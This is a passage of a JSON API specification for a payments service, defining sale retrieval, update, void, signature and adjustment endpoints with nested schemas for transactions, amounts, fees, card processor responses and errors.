"https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Sale Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "updateSaleById", - "method": "PATCH", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", - "summary": "Update Sale", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/merge-patch+json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Patch Transaction", - "type": "object", - "description": "Patch transaction", - "properties": { - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidSaleById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", - "summary": "Void Sale", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "addSaleSignatureByTransactionId", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}/signatures", - "summary": "Add Sale Signature", - "description": "Add sale signature by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "multipart/form-data", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getSaleSignaturesById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}/signatures", - "summary": "Get Sale Signatures", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Sale Signature list", - "schema": { - "title": "Sale Signatures", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "adjustPayment", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments", - "summary": "Adjust Payment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } 